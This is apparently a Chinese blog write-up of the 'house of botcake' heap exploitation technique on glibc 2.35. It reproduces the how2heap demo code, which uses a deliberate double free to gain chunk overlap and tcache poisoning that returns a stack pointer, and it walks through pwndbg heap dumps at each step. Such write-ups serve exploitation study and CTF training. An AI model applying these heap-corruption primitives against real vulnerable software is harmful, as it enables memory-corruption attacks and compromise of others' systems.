0x00

tcache_key的引入后,tcache poisoning的利用不再那么方便,我们如果想继续利用 Tcache Double Free 的话,一般可以采取以下的方法:

  1. 破坏掉被 free 的堆块中的 key,绕过检查(常用)
  2. 改变被 free 的堆块的大小,遍历时进入另一 idx 的 entries
  3. House of botcake(常用)

以下就以how2heap的源码(glibc2.35)来调试分析一下house of botcake这个手法

0x01 house of botcake 原理

调试用的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <assert.h>


int main()
{
/*
* This attack should bypass the restriction introduced in
* https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d
* If the libc does not include the restriction, you can simply double free the victim and do a
* simple tcache poisoning
* And thanks to @anton00b and @subwire for the weird name of this technique */

// disable buffering so _IO_FILE does not interfere with our heap
setbuf(stdin, NULL);
setbuf(stdout, NULL);

// introduction
puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into");
puts("returning a pointer to an arbitrary location (in this demo, the stack).");
puts("This attack only relies on double free.\n");

// prepare the target
intptr_t stack_var[4];
puts("The address we want malloc() to return, namely,");
printf("the target address is %p.\n\n", stack_var);

// prepare heap layout
puts("Preparing heap layout");
puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.");
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x[i] = malloc(0x100);
}
intptr_t *prev = malloc(0x100);
printf("Allocating a chunk for later consolidation: prev @ %p\n", prev);
intptr_t *a = malloc(0x100);
printf("Allocating the victim chunk: a @ %p\n", a);
puts("Allocating a padding to prevent consolidation.\n");
malloc(0x10);

// cause chunk overlapping
puts("Now we are able to cause chunk overlapping");
puts("Step 1: fill up tcache list");
for(int i=0; i<7; i++){
free(x[i]);
}
puts("Step 2: free the victim chunk so it will be added to unsorted bin");
free(a);

puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
free(prev);

puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");
malloc(0x100);
/*VULNERABILITY*/
free(a);// a is already freed
/*VULNERABILITY*/

puts("Now we have the chunk overlapping primitive:");
puts("This primitive will allow directly reading/writing objects, heap metadata, etc.\n");
puts("Below will use the chunk overlapping primitive to perform a tcache poisoning attack.");

puts("Get the overlapping chunk from the unsorted bin.");
intptr_t *unsorted = malloc(0x100 + 0x100 + 0x10);
puts("Use the overlapping chunk to control victim->next pointer.");
// mangle the pointer since glibc 2.32
unsorted[0x110/sizeof(intptr_t)] = ((long)a >> 12) ^ (long)stack_var;

puts("Get back victim chunk from tcache. This will put target to tcache top.");
a = malloc(0x100);
int a_size = a[-1] & 0xff0;
printf("victim @ %p, size: %#x, end @ %p\n", a, a_size, (void *)a+a_size);

puts("Get the target chunk from tcache.");
intptr_t *target = malloc(0x100);
target[0] = 0xcafebabe;

printf("target @ %p == stack_var @ %p\n", target, stack_var);
assert(stack_var[0] == 0xcafebabe);
return 0;
}

先申请七个填充用的chunk,一个prev chunk,一个victim chunk,一个隔离用chunk,防止被topchunk合并。然后free掉七个chunk,再freevictim chunk,我们查看此时的堆布局

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555559000
Size: 0x290 (with flag bits: 0x291)

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x555555559290
Size: 0x110 (with flag bits: 0x111)
fd: 0x555555559

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x5555555593a0
Size: 0x110 (with flag bits: 0x111)
fd: 0x55500000c7f9

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x5555555594b0
Size: 0x110 (with flag bits: 0x111)
fd: 0x55500000c6e9

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x5555555595c0
Size: 0x110 (with flag bits: 0x111)
fd: 0x55500000c199

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x5555555596d0
Size: 0x110 (with flag bits: 0x111)
fd: 0x55500000c089

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x5555555597e0
Size: 0x110 (with flag bits: 0x111)
fd: 0x55500000c3b9

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x5555555598f0
Size: 0x110 (with flag bits: 0x111)
fd: 0x55500000c2a9

Allocated chunk | PREV_INUSE
Addr: 0x555555559a00
Size: 0x110 (with flag bits: 0x111)

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x555555559b10
Size: 0x110 (with flag bits: 0x111)
fd: 0x7ffff7e1ace0
bk: 0x7ffff7e1ace0

Allocated chunk
Addr: 0x555555559c20
Size: 0x20 (with flag bits: 0x20)

Top chunk | PREV_INUSE
Addr: 0x555555559c40
Size: 0x203c0 (with flag bits: 0x203c1)

pwndbg> bins
tcachebins
0x110 [ 7]: 0x555555559900 —▸ 0x5555555597f0 —▸ 0x5555555596e0 —▸ 0x5555555595d0 —▸ 0x5555555594c0 —▸ 0x5555555593b0 —▸ 0x5555555592a0 ◂— 0
fastbins
empty
unsortedbin
all: 0x555555559b10 —▸ 0x7ffff7e1ace0 (main_arena+96) ◂— 0x555555559b10
smallbins
empty
largebins
empty

可以看到我们的victim chunk位于unsorted bin这时候再freeprev chunk,这时就会触发unsortedbin consolidateprev chunkvictim chunk合并成了一个chunk,我们看

1
2
3
4
5
6
7
8
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x555555559a00
Size: 0x220 (with flag bits: 0x221)
fd: 0x7ffff7e1ace0
bk: 0x7ffff7e1ace0

unsortedbin
all: 0x555555559a00 —▸ 0x7ffff7e1ace0 (main_arena+96) ◂— 0x555555559a00

但注意这时候被合并的victim chunk的数据并没有被更改,仍然保留

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> x/40gx 0x555555559a00
0x555555559a00: 0x0000000000000000 0x0000000000000221
0x555555559a10: 0x00007ffff7e1ace0 0x00007ffff7e1ace0
0x555555559a20: 0x0000000000000000 0x0000000000000000
0x555555559a30: 0x0000000000000000 0x0000000000000000
0x555555559a40: 0x0000000000000000 0x0000000000000000
0x555555559a50: 0x0000000000000000 0x0000000000000000
0x555555559a60: 0x0000000000000000 0x0000000000000000
0x555555559a70: 0x0000000000000000 0x0000000000000000
0x555555559a80: 0x0000000000000000 0x0000000000000000
0x555555559a90: 0x0000000000000000 0x0000000000000000
0x555555559aa0: 0x0000000000000000 0x0000000000000000
0x555555559ab0: 0x0000000000000000 0x0000000000000000
0x555555559ac0: 0x0000000000000000 0x0000000000000000
0x555555559ad0: 0x0000000000000000 0x0000000000000000
0x555555559ae0: 0x0000000000000000 0x0000000000000000
0x555555559af0: 0x0000000000000000 0x0000000000000000
0x555555559b00: 0x0000000000000000 0x0000000000000000
0x555555559b10: 0x0000000000000000 0x0000000000000111
0x555555559b20: 0x00007ffff7e1ace0 0x00007ffff7e1ace0
0x555555559b30: 0x0000000000000000 0x0000000000000000

可以看到victim chunk的数据仍然保留着,这时候我们malloc(0x100)tcache bin取一个,腾出一个位置,再free(victim chunk)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555559000
Size: 0x290 (with flag bits: 0x291)

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x555555559290
Size: 0x110 (with flag bits: 0x111)
fd: 0x555555559

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x5555555593a0
Size: 0x110 (with flag bits: 0x111)
fd: 0x55500000c7f9

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x5555555594b0
Size: 0x110 (with flag bits: 0x111)
fd: 0x55500000c6e9

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x5555555595c0
Size: 0x110 (with flag bits: 0x111)
fd: 0x55500000c199

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x5555555596d0
Size: 0x110 (with flag bits: 0x111)
fd: 0x55500000c089

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x5555555597e0
Size: 0x110 (with flag bits: 0x111)
fd: 0x55500000c3b9

Allocated chunk | PREV_INUSE
Addr: 0x5555555598f0
Size: 0x110 (with flag bits: 0x111)

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x555555559a00
Size: 0x220 (with flag bits: 0x221)
fd: 0x7ffff7e1ace0
bk: 0x7ffff7e1ace0

Allocated chunk
Addr: 0x555555559c20
Size: 0x20 (with flag bits: 0x20)

Top chunk | PREV_INUSE
Addr: 0x555555559c40
Size: 0x203c0 (with flag bits: 0x203c1)

pwndbg> bins
tcachebins
0x110 [ 7]: 0x555555559b20 —▸ 0x5555555597f0 —▸ 0x5555555596e0 —▸ 0x5555555595d0 —▸ 0x5555555594c0 —▸ 0x5555555593b0 —▸ 0x5555555592a0 ◂— 0
fastbins
empty
unsortedbin
all: 0x555555559a00 —▸ 0x7ffff7e1ace0 (main_arena+96) ◂— 0x555555559a00
smallbins
empty
largebins
empty

此时victim chunk进入tcache bin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> x/40gx 0x555555559a00
0x555555559a00: 0x0000000000000000 0x0000000000000221
0x555555559a10: 0x00007ffff7e1ace0 0x00007ffff7e1ace0
0x555555559a20: 0x0000000000000000 0x0000000000000000
0x555555559a30: 0x0000000000000000 0x0000000000000000
0x555555559a40: 0x0000000000000000 0x0000000000000000
0x555555559a50: 0x0000000000000000 0x0000000000000000
0x555555559a60: 0x0000000000000000 0x0000000000000000
0x555555559a70: 0x0000000000000000 0x0000000000000000
0x555555559a80: 0x0000000000000000 0x0000000000000000
0x555555559a90: 0x0000000000000000 0x0000000000000000
0x555555559aa0: 0x0000000000000000 0x0000000000000000
0x555555559ab0: 0x0000000000000000 0x0000000000000000
0x555555559ac0: 0x0000000000000000 0x0000000000000000
0x555555559ad0: 0x0000000000000000 0x0000000000000000
0x555555559ae0: 0x0000000000000000 0x0000000000000000
0x555555559af0: 0x0000000000000000 0x0000000000000000
0x555555559b00: 0x0000000000000000 0x0000000000000000
0x555555559b10: 0x0000000000000000 0x0000000000000111
0x555555559b20: 0x000055500000c2a9 0xf2a4e651170222b6
0x555555559b30: 0x0000000000000000 0x0000000000000000

此时状态就是一个大的unsorted chunk吞着一个小的tcache chunk,这时候我们malloc(0x210),也就是申请出这个大的合并的unsorted chunk,编辑到这个小的tcache chunk的数据,就能完成tcache poisoning
并且这时候tcache_perthread_structcounts记录的这个tcache bin的数量是足够的(因为我们准备工作中free了7个chunk),tcache poisoning一次后又可以free 掉 合并的unsorted chunkvictim chunk进行多次tcache poisoning

0x02 总结

感觉这个攻击手法的特点在于实现了chunk overlapping,然而其条件需要use-after-free也就是free后未清指针并且能编辑堆块,这个条件下,我们完全可以破坏key字段直接实现double free,但是如果是没有单独的编辑堆块功能,只能在申请的同时编辑的时候,house of botcake也就派上用场了